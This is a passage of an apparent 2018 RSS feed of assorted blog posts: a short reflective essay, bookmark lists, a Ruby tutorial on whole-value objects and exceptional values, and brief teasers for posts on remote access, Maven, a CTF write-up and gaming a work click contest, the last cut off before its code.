&lt;p&gt;You and I might support different football teams and get in a fight. And yet, we would unite in our love for football against Tiffany who just doesn’t get it. And we might argue with Tiffany person about whether football is a worthwhile way to spend your time, but we might unite with her against Ronald and Marcia who’d vote for the opposite party. And yet, no matter how hard we debate, we’d unite if a natural disaster occurs, and help each other.&lt;/p&gt;

&lt;p&gt;&lt;img alt="the other day my grandma told me, “when you and him are fighting, you both need to remember that it’s you two vs. the problem, not you vs. him.” and that hit me hard" src="https://d2mxuefqeaa7sj.cloudfront.net/s_0490897F6FACED14E7760DA4819E8AFA9F90F64E399FC49B42C1BA2476C6796F_1539396392943_you_and_him_vs_the_problem.png" /&gt;&lt;/p&gt;

&lt;p&gt;Because when the bigger enemy arrives, they take us by surprise. The show us how petty most of our quarrels are.&lt;/p&gt;

&lt;p&gt;Would they matter a thousand years from now? Or even hundred years from now?&lt;/p&gt;

&lt;p&gt;No.&lt;/p&gt;</description><author>D13V</author><pubDate>Sat, 13 Oct 2018 05:10:30 GMT</pubDate><guid isPermaLink="true">http://dimitarsimeonov.com/2018/10/13/hundred-years-are-nothing</guid></item><item><title>Sheffield travel bookmarks</title><link>https://xenodium.com/sheffield-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://streetfoodchef.co.uk/"&gt;Street Food Chef&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sakushi.co.uk/"&gt;Sakushi -Sushi, noodle and Japanese food restaurant in Sheffield&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 13 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/sheffield-travel-bookmarks</guid></item><item><title>Headsphones bookmarks</title><link>https://xenodium.com/headsphones-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.steventammen.com/posts/bose-qc35ii-headphones/"&gt;Bose QuietComfort 35 II Headphones (StevenTammen.com)&lt;/a&gt;.
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.rtings.com/headphones/tests/isolation/noise-isolation-cancellation-passive-active"&gt;Noise Isolation/Cancellation of Headphones (RTINGS.com)&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.rtings.com/headphones/reviews/sony/wh-1000xm3"&gt;Sony WH-1000XM3 Review - RTINGS.com&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sat, 13 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/headsphones-bookmarks</guid></item><item><title>Setting your pc for remote access</title><link>https://ciesie.com/post/pc_remote_access/</link><description>&lt;p&gt;I&amp;rsquo;m not sure I need it. Maybe you will. It is an exercise in excess.
I rarely need something from my home PC because nowadays it&amp;rsquo;s so easy
to store things in the &lt;em&gt;magical cloud&lt;/em&gt;. Still, it&amp;rsquo;s a nice exercise.&lt;/p&gt;
&lt;p&gt;I have set up remote access on &lt;em&gt;Void Linux&lt;/em&gt; and I will describe the
process of doing so for that OS. You might encounter some problems
if you are using &lt;em&gt;Windows&lt;/em&gt;&amp;hellip; but if you do you have bigger things to
worry about (writing this around the time &lt;em&gt;M$&lt;/em&gt; update for &lt;em&gt;Windows&lt;/em&gt; bricked
some users&amp;rsquo; computers.&lt;/p&gt;</description><author>ciesie.com</author><pubDate>Sat, 13 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ciesie.com/post/pc_remote_access/</guid></item><item><title>Primitive Obsession &amp;amp; Exceptional Values</title><link>https://josh.works/primative-obsession-and-exceptional-values</link><description>&lt;p&gt;I’ve been working through Avdi Grimes’ &lt;a href="https://avdi.codes/moom/"&gt;Mastering the Object Oriented Mindset&lt;/a&gt; course.&lt;/p&gt;

&lt;p&gt;One of the topics was using “whole values”, instead of being “primative obsessed”. The example Avdi gave was clear as day.&lt;/p&gt;

&lt;p&gt;He used a course with a &lt;code class="language-plaintext highlighter-rouge"&gt;duration&lt;/code&gt; attribute to show the problem.&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt; 
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;3 what? weeks? days? months?&lt;/p&gt;

&lt;p&gt;Of course, you could write a method like:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration_in_weeks&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But now you’ll have trouble rendering this all over the place. You’d have conditionals every time you wanted to render courses in weeks (if it makes sense), or in months (if appropriate), or of course, days.&lt;/p&gt;

&lt;p&gt;So, the solution is to use “Whole values”. This means an attribute should be a complete unit, in and of itself, and should need no further refining to be usable.&lt;/p&gt;

&lt;p&gt;So, you should be able to do something like this:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;Months&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;shorter_course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;Weeks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;!--more--&gt;

&lt;p&gt;&lt;img alt="mind blown" src="https://media.giphy.com/media/26ufdipQqU2lhNA4g/giphy.gif" /&gt;&lt;/p&gt;

&lt;p&gt;So, here’s the basics of this &lt;code class="language-plaintext highlighter-rouge"&gt;Duration&lt;/code&gt; class, that your units (like &lt;code class="language-plaintext highlighter-rouge"&gt;Days&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;Weeks&lt;/code&gt;, and &lt;code class="language-plaintext highlighter-rouge"&gt;Months&lt;/code&gt;) inherit from:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Duration&lt;/span&gt;
  &lt;span class="nb"&gt;attr_reader&lt;/span&gt; &lt;span class="ss"&gt;:magnitude&lt;/span&gt;
  
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;magnitude&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="vi"&gt;@magnitude&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;magnitude&lt;/span&gt;
    &lt;span class="nb"&gt;freeze&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;inspect&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;[&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;magnitude&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;]"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  
  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;to_s&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;magnitude&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="nb"&gt;self&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;class&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;downcase&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
  
  &lt;span class="kp"&gt;alias_method&lt;/span&gt; &lt;span class="ss"&gt;:to_i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;:magnitude&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;


&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Days&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Weeks&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Months&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;And it delivers pretty cool stuff:&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;main:0&amp;gt; Days.new(3)
=&amp;gt; Days[3]
main:0&amp;gt; Days.new(3).to_s
=&amp;gt; "3 days"
main:0&amp;gt; length = Weeks.new(3)
=&amp;gt; Weeks[3]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But having the option to call &lt;code class="language-plaintext highlighter-rouge"&gt;course.duration&lt;/code&gt; and get &lt;code class="language-plaintext highlighter-rouge"&gt;Weeks[3]&lt;/code&gt; as a response is… amazing. Or &lt;code class="language-plaintext highlighter-rouge"&gt;course.length.to_s&lt;/code&gt; and get &lt;code class="language-plaintext highlighter-rouge"&gt;3 weeks&lt;/code&gt;. Super cool.&lt;/p&gt;

&lt;p&gt;Avdi walked through the example code, but I was partial to having it available for playing around myself. So, I built a very simple test file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://gist.github.com/josh-works/6eb437670b66a67675c23352c787e66d"&gt;Check out the full test suite, if you’re interested&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The above gist also has the code that makes it all pass. I’m going to highlight just a few of the tests below:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_duration_is_months_object&lt;/span&gt;
  &lt;span class="n"&gt;assert_instance_of&lt;/span&gt; &lt;span class="no"&gt;Months&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="vi"&gt;@math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This test (and a few others) make it explicit that when you call &lt;code class="language-plaintext highlighter-rouge"&gt;@math.duration&lt;/code&gt; you don’t expect a primitive back - you expect an instance of the &lt;code class="language-plaintext highlighter-rouge"&gt;Months&lt;/code&gt; class. Super cool.&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_duration_inspect&lt;/span&gt;
  &lt;span class="n"&gt;assert_equal&lt;/span&gt; &lt;span class="s2"&gt;"Months[4]"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="vi"&gt;@math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;inspect&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can “convert” our Duration value into a primitive (a string) by calling &lt;code class="language-plaintext highlighter-rouge"&gt;#inspect&lt;/code&gt; on it. Other than this, though, the duration value lives as its own object.&lt;/p&gt;

&lt;p&gt;The tests test some helper methods that Avidi mentioned, to make it a bit easier to render the &lt;code class="language-plaintext highlighter-rouge"&gt;course.duration&lt;/code&gt; in a view:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;render_course_info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; (&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;render_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;)"&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;render_value&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="no"&gt;Months&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; gruling months"&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="no"&gt;Weeks&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; delightful weeks"&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="no"&gt;Days&lt;/span&gt;
    &lt;span class="s2"&gt;"a paultry &lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt; days"&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id="exceptional-values"&gt;Exceptional Values&lt;/h1&gt;

&lt;p&gt;So, we’ve got this method that takes input as a string, like “12 months”, and tries to convert it to &lt;code class="language-plaintext highlighter-rouge"&gt;Months[12]&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you are accepting data from a user, you’ll need to plan on invalid input, like “99 blinks”.&lt;/p&gt;

&lt;p&gt;Here’s the first take of the conversion method:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;raw_value&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="no"&gt;Duration&lt;/span&gt;
    &lt;span class="n"&gt;raw_value&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="sr"&gt;/\A(\d+)\s+months\z/i&lt;/span&gt;
    &lt;span class="no"&gt;Months&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="vg"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="sr"&gt;/\A(\d+)\s+weeks\z/i&lt;/span&gt;
    &lt;span class="no"&gt;Weeks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="vg"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="sr"&gt;/\A(\d+)\s+days\z/i&lt;/span&gt;
    &lt;span class="no"&gt;Days&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="vg"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; 
    &lt;span class="kp"&gt;nil&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This kind of works, but &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt; isn’t a great place-holder. Now your view logic needs to do all sorts of special work to handle if there are &lt;code class="language-plaintext highlighter-rouge"&gt;nil&lt;/code&gt; values, which of course there will be all the time, because if you call:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;course&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;
&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"math"&lt;/span&gt;
&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"12 days"&lt;/span&gt;
&lt;span class="n"&gt;course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;save&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The course &lt;em&gt;will have nil values auto-assigned&lt;/em&gt; simply because the user has not filled it in  yet.&lt;/p&gt;

&lt;p&gt;Anyway, so, as you might expect from someone talking about “whole values”, there’s a “whole value” implementation of an exception:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;Duration&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="n"&gt;raw_value&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="no"&gt;Duration&lt;/span&gt;
    &lt;span class="n"&gt;raw_value&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="sr"&gt;/\A(\d+)\s+months\z/i&lt;/span&gt;
    &lt;span class="no"&gt;Months&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="vg"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="sr"&gt;/\A(\d+)\s+weeks\z/i&lt;/span&gt;
    &lt;span class="no"&gt;Weeks&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="vg"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;when&lt;/span&gt; &lt;span class="sr"&gt;/\A(\d+)\s+days\z/i&lt;/span&gt;
    &lt;span class="no"&gt;Days&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="vg"&gt;$1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
  &lt;span class="k"&gt;else&lt;/span&gt; 
    &lt;span class="no"&gt;ExceptionalValue&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;raw_value&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ss"&gt;reason: &lt;/span&gt;&lt;span class="s2"&gt;"unrecognized format"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# we create a new Exceptional Value object if we get unrecognized input&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here’s what that object might look like, using this exceptional value:&lt;/p&gt;

&lt;div class="language-ruby highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;math&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="no"&gt;Course&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Math"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;duration&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"a blink of an eye"&lt;/span&gt;
&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;struct&lt;/span&gt; &lt;span class="no"&gt;Course&lt;/span&gt;
 &lt;span class="nb"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Math"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
 &lt;span class="n"&gt;duration&lt;/span&gt;&lt;span class="o"&gt;=&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;ExceptionalValue&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mh"&gt;0x00007fca79021188&lt;/span&gt; &lt;span class="vi"&gt;@raw_value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"a blink of an eye"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="vi"&gt;@reason&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"unrecognized format"&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;pretty cool, huh?&lt;/p&gt;

&lt;p&gt;&lt;a href="https://gist.github.com/josh-works/6eb437670b66a67675c23352c787e66d"&gt;check out the gist for tests and class code. Don’t judge me for sticking like 40 classes in the same file…&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Fri, 12 Oct 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/primative-obsession-and-exceptional-values</guid></item><item><title>📸 Iceland</title><link>https://bpev.me/notes/iceland</link><author>bpev.me</author><pubDate>Fri, 12 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://bpev.me/notes/iceland</guid></item><item><title>Using Bitbucket As Private Maven Repository</title><link>https://prashamhtrivedi.in/bitbucket_private_mvn_repo.html</link><description>Sharing code from Private libraries is a difficult task. In this post we will see how we can use BitBucket as Private Maven Repository.</description><author>Prasham H Trivedi</author><pubDate>Fri, 12 Oct 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://prashamhtrivedi.in/bitbucket_private_mvn_repo.html</guid></item><item><title>SIGSEGV1 qualification CTF</title><link>https://anisse.astier.eu/qual-sigsegv1-rtfm.html</link><description>&lt;p&gt;After my &lt;a href="r2con-2018.html"&gt;r2con r2wars writeup&lt;/a&gt;, here's another writeup of a "challenge". This challenge is the Capture-The-Flag (CTF) pre-qualifications for the &lt;a href="https://sigsegv1.rtfm.re/"&gt;SIGSEGV1 conference in Paris&lt;/a&gt;. It felt a bit weird to have a conference registration limited to those who pass a certain challenge, but I was curious about what it would …&lt;/p&gt;</description><author>Linux Engineer's random thoughts</author><pubDate>Fri, 12 Oct 2018 01:00:00 GMT</pubDate><guid isPermaLink="true">https://anisse.astier.eu/qual-sigsegv1-rtfm.html</guid></item><item><title>Using the 'timer' observable from Rxjs and Chrome Headless to hack a contest at work</title><link>https://jasonraimondi.com/posts/using-the-timer-observable-function-from-rxjs-with-chrome-headless-to-hack-a-contest-at-work/</link><description>&lt;p&gt;&lt;img alt="the conversation aftermath" src="https://jasonraimondi.com/posts/2018/10/hack-contest/hack-contest-01.png" /&gt;&lt;/p&gt;
&lt;p&gt;I am going to begin by saying, I couldn’t not do it. It was calling to me like Ring calls to Sauron.&lt;/p&gt;
&lt;h3 id="official-contest-rules"&gt;Official Contest Rules&lt;/h3&gt;
&lt;p&gt;The official rules read: “Everyone has their own tagged link that points to the landing page — each unique click = 1 point”. That is very interesting&amp;hellip; I present to you &lt;a href="https://github.com/jasonraimondi/hack-contest"&gt;jasonraimondi/hack-contest&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id="the-code"&gt;The Code&lt;/h3&gt;
